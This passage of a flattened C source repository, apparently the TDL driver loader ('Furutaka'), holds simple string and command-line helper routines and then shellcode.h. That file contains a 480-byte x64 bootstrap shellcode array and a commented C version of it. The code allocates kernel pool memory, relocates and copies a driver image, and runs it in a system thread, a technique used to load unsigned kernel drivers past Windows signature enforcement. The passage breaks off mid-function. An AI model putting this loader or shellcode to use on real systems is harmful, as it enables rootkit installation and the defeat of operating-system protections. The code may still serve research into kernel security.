18 |
19 | do {
20 | c1 = locase_a(*s1);
21 | c2 = locase_a(*s2);
22 | s1++;
23 | s2++;
24 | cchars--;
25 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) );
26 |
27 | return (int)(c1 - c2);
28 | }
29 |
30 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars)
31 | {
32 | wchar_t c1, c2;
33 |
34 | if ( s1==s2 )
35 | return 0;
36 |
37 | if ( s1==0 )
38 | return -1;
39 |
40 | if ( s2==0 )
41 | return 1;
42 |
43 | if ( cchars==0 )
44 | return 0;
45 |
46 | do {
47 | c1 = locase_w(*s1);
48 | c2 = locase_w(*s2);
49 | s1++;
50 | s2++;
51 | cchars--;
52 | } while ( (c1 != 0) && (c1 == c2) && (cchars>0) );
53 |
54 | return (int)(c1 - c2);
55 | }
56 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/cmdline.c:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | BOOL GetCommandLineParamW(
4 | IN LPCWSTR CmdLine,
5 | IN ULONG ParamIndex,
6 | OUT LPWSTR Buffer,
7 | IN ULONG BufferSize,
8 | OUT PULONG ParamLen
9 | )
10 | {
11 | ULONG c, plen = 0;
12 | TCHAR divider;
13 |
14 | if (ParamLen != NULL)
15 | *ParamLen = 0;
16 |
17 | if (CmdLine == NULL) {
18 | if ((Buffer != NULL) && (BufferSize > 0))
19 | *Buffer = 0;
20 | return FALSE;
21 | }
22 |
23 | for (c = 0; c <= ParamIndex; c++) {
24 | plen = 0;
25 |
26 | while (*CmdLine == ' ')
27 | CmdLine++;
28 |
29 | switch (*CmdLine) {
30 | case 0:
31 | goto zero_term_exit;
32 |
33 | case '"':
34 | CmdLine++;
35 | divider = '"';
36 | break;
37 |
38 | default:
39 | divider = ' ';
40 | }
41 |
42 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
43 | plen++;
44 | if (c == ParamIndex)
45 | if ((plen < BufferSize) && (Buffer != NULL)) {
46 | *Buffer = *CmdLine;
47 | Buffer++;
48 | }
49 | CmdLine++;
50 | }
51 |
52 | if (*CmdLine != 0)
53 | CmdLine++;
54 | }
55 |
56 | zero_term_exit:
57 |
58 | if ((Buffer != NULL) && (BufferSize > 0))
59 | *Buffer = 0;
60 |
61 | if (ParamLen != NULL)
62 | *ParamLen = plen;
63 |
64 | if (plen < BufferSize)
65 | return TRUE;
66 | else
67 | return FALSE;
68 | }
69 |
70 | BOOL GetCommandLineParamA(
71 | IN LPCSTR CmdLine,
72 | IN ULONG ParamIndex,
73 | OUT LPSTR Buffer,
74 | IN ULONG BufferSize,
75 | OUT PULONG ParamLen
76 | )
77 | {
78 | ULONG c, plen = 0;
79 | TCHAR divider;
80 |
81 | if (CmdLine == NULL)
82 | return FALSE;
83 |
84 | if (ParamLen != NULL)
85 | *ParamLen = 0;
86 |
87 | for (c = 0; c <= ParamIndex; c++) {
88 | plen = 0;
89 |
90 | while (*CmdLine == ' ')
91 | CmdLine++;
92 |
93 | switch (*CmdLine) {
94 | case 0:
95 | goto zero_term_exit;
96 |
97 | case '"':
98 | CmdLine++;
99 | divider = '"';
100 | break;
101 |
102 | default:
103 | divider = ' ';
104 | }
105 |
106 | while ((*CmdLine != '"') && (*CmdLine != divider) && (*CmdLine != 0)) {
107 | plen++;
108 | if (c == ParamIndex)
109 | if ((plen < BufferSize) && (Buffer != NULL)) {
110 | *Buffer = *CmdLine;
111 | Buffer++;
112 | }
113 | CmdLine++;
114 | }
115 |
116 | if (*CmdLine != 0)
117 | CmdLine++;
118 | }
119 |
120 | zero_term_exit:
121 |
122 | if ((Buffer != NULL) && (BufferSize > 0))
123 | *Buffer = 0;
124 |
125 | if (ParamLen != NULL)
126 | *ParamLen = plen;
127 |
128 | if (plen < BufferSize)
129 | return TRUE;
130 | else
131 | return FALSE;
132 | }
133 |
134 | char *ExtractFilePathA(const char *FileName, char *FilePath)
135 | {
136 | char *p = (char *)FileName, *p0 = (char *)FileName;
137 |
138 | if ((FileName == 0) || (FilePath == 0))
139 | return 0;
140 |
141 | while (*FileName != 0) {
142 | if (*FileName == '\\')
143 | p = (char *)FileName + 1;
144 | FileName++;
145 | }
146 |
147 | while (p0 < p) {
148 | *FilePath = *p0;
149 | FilePath++;
150 | p0++;
151 | }
152 |
153 | *FilePath = 0;
154 |
155 | return FilePath;
156 | }
157 |
158 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath)
159 | {
160 | wchar_t *p = (wchar_t *)FileName, *p0 = (wchar_t *)FileName;
161 |
162 | if ((FileName == 0) || (FilePath == 0))
163 | return 0;
164 |
165 | while (*FileName != 0) {
166 | if (*FileName == '\\')
167 | p = (wchar_t *)FileName + 1;
168 | FileName++;
169 | }
170 |
171 | while (p0 < p) {
172 | *FilePath = *p0;
173 | FilePath++;
174 | p0++;
175 | }
176 |
177 | *FilePath = 0;
178 |
179 | return FilePath;
180 | }
181 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/cmdline.h:
--------------------------------------------------------------------------------
1 | #ifndef _CMDLINEH_
2 | #define _CMDLINEH_
3 |
4 | BOOL GetCommandLineParamW(
5 | IN LPCWSTR CmdLine,
6 | IN ULONG ParamIndex,
7 | OUT LPWSTR Buffer,
8 | IN ULONG BufferSize,
9 | OUT PULONG ParamLen
10 | );
11 |
12 | BOOL GetCommandLineParamA(
13 | IN LPCSTR CmdLine,
14 | IN ULONG ParamIndex,
15 | OUT LPSTR Buffer,
16 | IN ULONG BufferSize,
17 | OUT PULONG ParamLen
18 | );
19 |
20 | char *ExtractFilePathA(const char *FileName, char *FilePath);
21 | wchar_t *ExtractFilePathW(const wchar_t *FileName, wchar_t *FilePath);
22 |
23 | #ifdef UNICODE
24 |
25 | #define ExtractFilePath ExtractFilePathW
26 | #define GetCommandLineParam GetCommandLineParamW
27 |
28 | #else // ANSI
29 |
30 | #define ExtractFilePath ExtractFilePathA
31 | #define GetCommandLineParam GetCommandLineParamA
32 |
33 | #endif
34 |
35 | #endif /* _CMDLINEH_ */
36 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/minirtl.h:
--------------------------------------------------------------------------------
1 | /*
2 | Module name:
3 | minirtl.h
4 |
5 | Description:
6 | header for string handling and conversion routines
7 |
8 | Date:
9 | 1 Mar 2015
10 | */
11 |
12 | #ifndef _MINIRTL_
13 | #define _MINIRTL_
14 |
15 | // string copy/concat/length
16 |
17 | char *_strend_a(const char *s);
18 | wchar_t *_strend_w(const wchar_t *s);
19 |
20 | char *_strcpy_a(char *dest, const char *src);
21 | wchar_t *_strcpy_w(wchar_t *dest, const wchar_t *src);
22 |
23 | char *_strcat_a(char *dest, const char *src);
24 | wchar_t *_strcat_w(wchar_t *dest, const wchar_t *src);
25 |
26 | char *_strncpy_a(char *dest, size_t ccdest, const char *src, size_t ccsrc);
27 | wchar_t *_strncpy_w(wchar_t *dest, size_t ccdest, const wchar_t *src, size_t ccsrc);
28 |
29 | size_t _strlen_a(const char *s);
30 | size_t _strlen_w(const wchar_t *s);
31 |
32 | // comparing
33 |
34 | int _strcmp_a(const char *s1, const char *s2);
35 | int _strcmp_w(const wchar_t *s1, const wchar_t *s2);
36 |
37 | int _strncmp_a(const char *s1, const char *s2, size_t cchars);
38 | int _strncmp_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
39 |
40 | int _strcmpi_a(const char *s1, const char *s2);
41 | int _strcmpi_w(const wchar_t *s1, const wchar_t *s2);
42 |
43 | int _strncmpi_a(const char *s1, const char *s2, size_t cchars);
44 | int _strncmpi_w(const wchar_t *s1, const wchar_t *s2, size_t cchars);
45 |
46 | char *_strstr_a(const char *s, const char *sub_s);
47 | wchar_t *_strstr_w(const wchar_t *s, const wchar_t *sub_s);
48 |
49 | char *_strstri_a(const char *s, const char *sub_s);
50 | wchar_t *_strstri_w(const wchar_t *s, const wchar_t *sub_s);
51 |
52 | // conversion of integer types to string, returning string length
53 |
54 | size_t ultostr_a(unsigned long x, char *s);
55 | size_t ultostr_w(unsigned long x, wchar_t *s);
56 |
57 | size_t ultohex_a(unsigned long x, char *s);
58 | size_t ultohex_w(unsigned long x, wchar_t *s);
59 |
60 | size_t itostr_a(int x, char *s);
61 | size_t itostr_w(int x, wchar_t *s);
62 |
63 | size_t i64tostr_a(signed long long x, char *s);
64 | size_t i64tostr_w(signed long long x, wchar_t *s);
65 |
66 | size_t u64tostr_a(unsigned long long x, char *s);
67 | size_t u64tostr_w(unsigned long long x, wchar_t *s);
68 |
69 | size_t u64tohex_a(unsigned long long x, char *s);
70 | size_t u64tohex_w(unsigned long long x, wchar_t *s);
71 |
72 | // string to integers conversion
73 |
74 | unsigned long strtoul_a(char *s);
75 | unsigned long strtoul_w(wchar_t *s);
76 |
77 | unsigned long long strtou64_a(char *s);
78 | unsigned long long strtou64_w(wchar_t *s);
79 |
80 | unsigned long hextoul_a(char *s);
81 | unsigned long hextoul_w(wchar_t *s);
82 |
83 | int strtoi_a(char *s);
84 | int strtoi_w(wchar_t *s);
85 |
86 | signed long long strtoi64_a(char *s);
87 | signed long long strtoi64_w(wchar_t *s);
88 |
89 | unsigned long long hextou64_a(char *s);
90 | unsigned long long hextou64_w(wchar_t *s);
91 |
92 | /* =================================== */
93 |
94 | #ifdef UNICODE
95 |
96 | #define _strend _strend_w
97 | #define _strcpy _strcpy_w
98 | #define _strcat _strcat_w
99 | #define _strlen _strlen_w
100 | #define _strncpy _strncpy_w
101 |
102 | #define _strcmp _strcmp_w
103 | #define _strncmp _strncmp_w
104 | #define _strcmpi _strcmpi_w
105 | #define _strncmpi _strncmpi_w
106 | #define _strstr _strstr_w
107 | #define _strstri _strstri_w
108 |
109 | #define ultostr ultostr_w
110 | #define ultohex ultohex_w
111 | #define itostr itostr_w
112 | #define i64tostr i64tostr_w
113 | #define u64tostr u64tostr_w
114 | #define u64tohex u64tohex_w
115 |
116 | #define strtoul strtoul_w
117 | #define hextoul hextoul_w
118 | #define strtoi strtoi_w
119 | #define strtoi64 strtoi64_w
120 | #define strtou64 strtou64_w
121 | #define hextou64 hextou64_w
122 |
123 | #else // ANSI
124 |
125 | #define _strend _strend_a
126 | #define _strcpy _strcpy_a
127 | #define _strcat _strcat_a
128 | #define _strlen _strlen_a
129 | #define _strncpy _strncpy_a
130 | #define _strcmp _strcmp_a
131 |
132 | #define _strcmp _strcmp_a
133 | #define _strncmp _strncmp_a
134 | #define _strcmpi _strcmpi_a
135 | #define _strncmpi _strncmpi_a
136 | #define _strstr _strstr_a
137 | #define _strstri _strstri_a
138 |
139 | #define ultostr ultostr_a
140 | #define ultohex ultohex_a
141 | #define itostr itostr_a
142 | #define i64tostr i64tostr_a
143 | #define u64tostr u64tostr_a
144 | #define u64tohex u64tohex_a
145 |
146 | #define strtoul strtoul_a
147 | #define hextoul hextoul_a
148 | #define strtoi strtoi_a
149 | #define strtoi64 strtoi64_a
150 | #define strtou64 strtou64_a
151 | #define hextou64 hextou64_a
152 |
153 | #endif
154 |
155 | #endif /* _MINIRTL_ */
156 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/rtltypes.h:
--------------------------------------------------------------------------------
1 | #ifndef _WCHAR_T_DEFINED
2 | typedef unsigned short wchar_t;
3 | #define _WCHAR_T_DEFINED
4 | #endif /* _WCHAR_T_DEFINED */
5 |
6 | #ifndef _SIZE_T_DEFINED
7 | #ifdef _WIN64
8 | typedef unsigned __int64 size_t;
9 | #else /* _WIN64 */
10 | typedef __w64 unsigned int size_t;
11 | #endif /* _WIN64 */
12 | #define _SIZE_T_DEFINED
13 | #endif /* _SIZE_T_DEFINED */
14 |
15 | __forceinline char locase_a(char c)
16 | {
17 | if ((c >= 'A') && (c <= 'Z'))
18 | return c + 0x20;
19 | else
20 | return c;
21 | }
22 |
23 | __forceinline wchar_t locase_w(wchar_t c)
24 | {
25 | if ((c >= 'A') && (c <= 'Z'))
26 | return c + 0x20;
27 | else
28 | return c;
29 | }
30 |
31 | __forceinline char byteabs(char x) {
32 | if (x < 0)
33 | return -x;
34 | return x;
35 | }
36 |
37 | __forceinline int _isdigit_a(char x) {
38 | return ((x >= '0') && (x <= '9'));
39 | }
40 |
41 | __forceinline int _isdigit_w(wchar_t x) {
42 | return ((x >= L'0') && (x <= L'9'));
43 | }
44 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/u64tohex.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t u64tohex_a(unsigned long long x, char *s)
4 | {
5 | char p;
6 | size_t c;
7 |
8 | if (s==0)
9 | return 16;
10 |
11 | for (c=0; c<16; c++) {
12 | p = (char)(x & 0xf);
13 | x >>= 4;
14 |
15 | if (p<10)
16 | p += '0';
17 | else
18 | p = 'A' + (p-10);
19 |
20 | s[15-c] = p;
21 | }
22 |
23 | s[16] = 0;
24 | return 16;
25 | }
26 |
27 | size_t u64tohex_w(unsigned long long x, wchar_t *s)
28 | {
29 | wchar_t p;
30 | size_t c;
31 |
32 | if (s==0)
33 | return 16;
34 |
35 | for (c = 0; c<16; c++) {
36 | p = (wchar_t)(x & 0xf);
37 | x >>= 4;
38 |
39 | if (p<10)
40 | p += L'0';
41 | else
42 | p = L'A' + (p-10);
43 |
44 | s[15-c] = p;
45 | }
46 |
47 | s[16] = 0;
48 | return 16;
49 | }
50 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/u64tostr.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t u64tostr_a(unsigned long long x, char *s)
4 | {
5 | unsigned long long t = x;
6 | size_t i, r=1;
7 |
8 | while ( t >= 10 ) {
9 | t /= 10;
10 | r++;
11 | }
12 |
13 | if (s == 0)
14 | return r;
15 |
16 | for (i = r; i != 0; i--) {
17 | s[i-1] = (char)(x % 10) + '0';
18 | x /= 10;
19 | }
20 |
21 | s[r] = (char)0;
22 | return r;
23 | }
24 |
25 | size_t u64tostr_w(unsigned long long x, wchar_t *s)
26 | {
27 | unsigned long long t = x;
28 | size_t i, r=1;
29 |
30 | while ( t >= 10 ) {
31 | t /= 10;
32 | r++;
33 | }
34 |
35 | if (s == 0)
36 | return r;
37 |
38 | for (i = r; i != 0; i--) {
39 | s[i-1] = (wchar_t)(x % 10) + L'0';
40 | x /= 10;
41 | }
42 |
43 | s[r] = (wchar_t)0;
44 | return r;
45 | }
46 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/ultohex.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t ultohex_a(unsigned long x, char *s)
4 | {
5 | char p;
6 | size_t c;
7 |
8 | if (s==0)
9 | return 8;
10 |
11 | for (c=0; c<8; c++) {
12 | p = (char)(x & 0xf);
13 | x >>= 4;
14 |
15 | if (p<10)
16 | p += '0';
17 | else
18 | p = 'A' + (p-10);
19 |
20 | s[7-c] = p;
21 | }
22 |
23 | s[8] = 0;
24 | return 8;
25 | }
26 |
27 | size_t ultohex_w(unsigned long x, wchar_t *s)
28 | {
29 | wchar_t p;
30 | size_t c;
31 |
32 | if (s==0)
33 | return 8;
34 |
35 | for (c=0; c<8; c++) {
36 | p = (wchar_t)(x & 0xf);
37 | x >>= 4;
38 |
39 | if (p<10)
40 | p += L'0';
41 | else
42 | p = L'A' + (p-10);
43 |
44 | s[7-c] = p;
45 | }
46 |
47 | s[8] = 0;
48 | return 8;
49 | }
50 |
--------------------------------------------------------------------------------
/Source/Furutaka/minirtl/ultostr.c:
--------------------------------------------------------------------------------
1 | #include "rtltypes.h"
2 |
3 | size_t ultostr_a(unsigned long x, char *s)
4 | {
5 | unsigned long t=x;
6 | size_t i, r=1;
7 |
8 | while ( t >= 10 ) {
9 | t /= 10;
10 | r++;
11 | }
12 |
13 | if (s == 0)
14 | return r;
15 |
16 | for (i = r; i != 0; i--) {
17 | s[i-1] = (char)(x % 10) + '0';
18 | x /= 10;
19 | }
20 |
21 | s[r] = (char)0;
22 | return r;
23 | }
24 |
25 | size_t ultostr_w(unsigned long x, wchar_t *s)
26 | {
27 | unsigned long t=x;
28 | size_t i, r=1;
29 |
30 | while ( t >= 10 ) {
31 | t /= 10;
32 | r++;
33 | }
34 |
35 | if (s == 0)
36 | return r;
37 |
38 | for (i = r; i != 0; i--) {
39 | s[i-1] = (wchar_t)(x % 10) + L'0';
40 | x /= 10;
41 | }
42 |
43 | s[r] = (wchar_t)0;
44 | return r;
45 | }
46 |
--------------------------------------------------------------------------------
/Source/Furutaka/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/resource.h
--------------------------------------------------------------------------------
/Source/Furutaka/resource.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/TDL/cc4b46ae1c939b14a22a734a727b163f873a41b5/Source/Furutaka/resource.rc
--------------------------------------------------------------------------------
/Source/Furutaka/shellcode.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: SHELLCODE.H
6 | *
7 | * VERSION: 1.11
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * Loader bootstrap shellcode.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | typedef PVOID(NTAPI *PfnExAllocatePoolWithTag)(
23 | _In_ POOL_TYPE PoolType,
24 | _In_ SIZE_T NumberOfBytes,
25 | _In_ ULONG Tag);
26 |
27 | typedef NTSTATUS(NTAPI *PfnPsCreateSystemThread)(
28 | _Out_ PHANDLE ThreadHandle,
29 | _In_ ULONG DesiredAccess,
30 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
31 | _In_opt_ HANDLE ProcessHandle,
32 | _Out_opt_ PCLIENT_ID ClientId,
33 | _In_ PKSTART_ROUTINE StartRoutine,
34 | _In_opt_ PVOID StartContext);
35 |
36 | typedef NTSTATUS (NTAPI *PfnZwClose)(
37 | _In_ HANDLE Handle);
38 |
39 | typedef NTSTATUS(NTAPI *PfnDriverEntry)();
40 |
41 | #define MAX_SHELLCODE_LENGTH 0x300
42 |
43 | /*
44 | * TDLBootstrapLoader
45 | *
46 | * Purpose:
47 | *
48 | * Main part of shellcode used to execute driver code.
49 | *
50 | */
51 | /*
52 | void TDLBootstrapLoader(
53 | PfnExAllocatePoolWithTag ExAllocatePoolWithTag,
54 | PfnPsCreateSystemThread PsCreateSystemThread,
55 | PfnZwClose ZwClose)
56 | {
57 | ULONG_PTR pos, exbuffer,
58 | Image = ((ULONG_PTR)&TDLBootstrapLoader) + MAX_SHELLCODE_LENGTH;
59 |
60 | PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
61 | PIMAGE_FILE_HEADER fileh =
62 | (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
63 |
64 | PIMAGE_OPTIONAL_HEADER popth =
65 | (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
66 |
67 | ULONG isz = popth->SizeOfImage;
68 | HANDLE th;
69 |
70 | PIMAGE_BASE_RELOCATION rel;
71 | DWORD_PTR delta;
72 | LPWORD chains;
73 | DWORD c, p, rsz;
74 |
75 | OBJECT_ATTRIBUTES attr;
76 |
77 | exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
78 | NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
79 | exbuffer &= ~(PAGE_SIZE - 1);
80 |
81 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
82 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
83 | {
84 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
85 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
86 |
87 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
88 | delta = (DWORD_PTR)exbuffer - popth->ImageBase;
89 | c = 0;
90 |
91 | while (c < rsz) {
92 | p = sizeof(IMAGE_BASE_RELOCATION);
93 | chains = (LPWORD)((PBYTE)rel + p);
94 |
95 | while (p < rel->SizeOfBlock) {
96 |
97 | switch (*chains >> 12) {
98 | case IMAGE_REL_BASED_HIGHLOW:
99 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
100 | break;
101 | case IMAGE_REL_BASED_DIR64:
102 | *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta;
103 | break;
104 | }
105 |
106 | chains++;
107 | p += sizeof(WORD);
108 | }
109 |
110 | c += rel->SizeOfBlock;
111 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
112 | }
113 | }
114 |
115 | isz >>= 3;
116 | for (pos = 0; pos < isz; pos++)
117 | ((PULONG64)exbuffer)[pos] = ((PULONG64)Image)[pos];
118 |
119 | th = NULL;
120 | InitializeObjectAttributes(&attr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
121 | if (NT_SUCCESS(PsCreateSystemThread(&th, THREAD_ALL_ACCESS, &attr, NULL, NULL,
122 | (PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint), NULL)))
123 | {
124 | ZwClose(th);
125 | }
126 | }
127 | */
128 | const unsigned char TDLBootstrapLoader_code[480] = {
129 | 0x48, 0x8B, 0xC4, 0x41, 0x54, 0x48, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x58, 0x10,
130 | 0x4D, 0x8B, 0xE0, 0x48, 0x89, 0x68, 0x18, 0x48, 0x8D, 0x1D, 0xE2, 0xFF, 0xFF, 0xFF, 0x4C, 0x89,
131 | 0x68, 0xE8, 0x48, 0x81, 0xC3, 0x00, 0x03, 0x00, 0x00, 0x4C, 0x89, 0x70, 0xE0, 0x4C, 0x8B, 0xEA,
132 | 0x4C, 0x89, 0x78, 0xD8, 0x4C, 0x8B, 0xC9, 0x33, 0xC9, 0x41, 0xB8, 0x54, 0x64, 0x6C, 0x53, 0x4C,
133 | 0x63, 0x73, 0x3C, 0x4C, 0x03, 0xF3, 0x45, 0x8B, 0x7E, 0x50, 0x41, 0x8D, 0x97, 0x00, 0x10, 0x00,
134 | 0x00, 0x41, 0xFF, 0xD1, 0x45, 0x33, 0xC9, 0x48, 0x8D, 0xA8, 0x00, 0x10, 0x00, 0x00, 0x48, 0x81,
135 | 0xE5, 0x00, 0xF0, 0xFF, 0xFF, 0x41, 0x83, 0xBE, 0x84, 0x00, 0x00, 0x00, 0x05, 0x0F, 0x86, 0xB0,
136 | 0x00, 0x00, 0x00, 0x41, 0x8B, 0x8E, 0xB0, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0xA1, 0x00,
137 | 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x04, 0x0B, 0x41, 0x8B,
138 | 0xB6, 0xB4, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xDD, 0x4D, 0x2B, 0x5E, 0x30, 0x48, 0x89, 0xBC, 0x24,
139 | 0x88, 0x00, 0x00, 0x00, 0x41, 0x8B, 0xF9, 0x85, 0xF6, 0x74, 0x68, 0x0F, 0x1F, 0x44, 0x00, 0x00,
140 | 0x41, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x4D, 0x8D, 0x50, 0x08, 0x45, 0x39, 0x48, 0x04, 0x76, 0x43,
141 | 0x41, 0x0F, 0xB7, 0x02, 0x8B, 0xC8, 0xC1, 0xE9, 0x0C, 0x83, 0xF9, 0x03, 0x74, 0x17, 0x83, 0xF9,
142 | 0x0A, 0x75, 0x22, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C, 0x03, 0x4C,
143 | 0x01, 0x1C, 0x0A, 0xEB, 0x10, 0x41, 0x8B, 0x10, 0x25, 0xFF, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x0C,
144 | 0x03, 0x44, 0x01, 0x1C, 0x0A, 0x49, 0x83, 0xC2, 0x02, 0x41, 0x83, 0xC1, 0x02, 0x45, 0x3B, 0x48,
145 | 0x04, 0x72, 0xBD, 0x41, 0x8B, 0x40, 0x04, 0x03, 0xF8, 0x4C, 0x03, 0xC0, 0x3B, 0xFE, 0x72, 0xA0,
146 | 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xB4, 0x24, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xBC, 0x24, 0x88,
147 | 0x00, 0x00, 0x00, 0x49, 0x8B, 0xD7, 0x4C, 0x8B, 0x7C, 0x24, 0x70, 0x48, 0xC1, 0xEA, 0x03, 0x48,
148 | 0x85, 0xD2, 0x74, 0x1D, 0x48, 0x8B, 0xCD, 0x48, 0x2B, 0xDD, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
149 | 0x48, 0x8B, 0x04, 0x0B, 0x48, 0x89, 0x01, 0x48, 0x8D, 0x49, 0x08, 0x48, 0x83, 0xEA, 0x01, 0x75,
150 | 0xEF, 0x4C, 0x89, 0x4C, 0x24, 0x30, 0x4C, 0x8D, 0x44, 0x24, 0x40, 0x4C, 0x89, 0x8C, 0x24, 0xA0,
151 | 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x4C, 0x24, 0x48,
152 | 0x0F, 0x57, 0xC0, 0x4C, 0x89, 0x4C, 0x24, 0x50, 0xBA, 0xFF, 0xFF, 0x1F, 0x00, 0xF3, 0x0F, 0x7F,
153 | 0x44, 0x24, 0x60, 0xC7, 0x44, 0x24, 0x40, 0x30, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x58, 0x00,
154 | 0x02, 0x00, 0x00, 0x41, 0x8B, 0x46, 0x28, 0x48, 0x03, 0xC5, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4C,
155 | 0x89, 0x4C, 0x24, 0x20, 0x45, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x4C, 0x8B, 0x74, 0x24, 0x78, 0x4C,
156 | 0x8B, 0xAC, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xAC, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x48,
157 | 0x8B, 0x9C, 0x24, 0xA8, 0x00, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x0B, 0x48, 0x8B, 0x8C, 0x24, 0xA0,
158 | 0x00, 0x00, 0x00, 0x41, 0xFF, 0xD4, 0x48, 0x81, 0xC4, 0x90, 0x00, 0x00, 0x00, 0x41, 0x5C, 0xC3
159 | };
160 |
161 |
162 | /*
163 | * TDLBootstrapLoader_w10rs2
164 | *
165 | * Purpose:
166 | *
167 | * Main part of shellcode used to execute driver code since w10rs2.
168 | *
169 | */
170 | /*
171 | void TDLBootstrapLoader_w10rs2(
172 | PfnExAllocatePoolWithTag ExAllocatePoolWithTag
173 | )
174 | {
175 | ULONG_PTR pos, exbuffer,
176 | Image = ((ULONG_PTR)&TDLBootstrapLoader_w10rs2) + MAX_SHELLCODE_LENGTH;
177 |
178 | PIMAGE_DOS_HEADER dosh = (PIMAGE_DOS_HEADER)Image;
179 | PIMAGE_FILE_HEADER fileh =
180 | (PIMAGE_FILE_HEADER)(Image + sizeof(DWORD) + dosh->e_lfanew);
181 |
182 | PIMAGE_OPTIONAL_HEADER popth =
183 | (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
184 |
185 | PfnDriverEntry DriverEntry;
186 |
187 | ULONG isz = popth->SizeOfImage;
188 |
189 | PIMAGE_BASE_RELOCATION rel;
190 | DWORD_PTR delta;
191 | LPWORD chains;
192 | DWORD c, p, rsz;
193 |
194 | exbuffer = (ULONG_PTR)ExAllocatePoolWithTag(
195 | NonPagedPool, isz + PAGE_SIZE, 'SldT') + PAGE_SIZE;
196 | exbuffer &= ~(PAGE_SIZE - 1);
197 |
198 | if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC)
199 | if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
200 | {
201 | rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image +
202 | popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
203 |
204 | rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
205 | delta = (DWORD_PTR)exbuffer - popth->ImageBase;
206 | c = 0;
207 |
208 | while (c < rsz) {
209 | p = sizeof(IMAGE_BASE_RELOCATION);
210 | chains = (LPWORD)((PBYTE)rel + p);
211 |
212 | while (p < rel->SizeOfBlock) {
213 |
214 | switch (*chains >> 12) {
215 | case IMAGE_REL_BASED_HIGHLOW:
216 | *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta;
217 | break;
218 | case IMAGE_REL_BASED_DIR64:
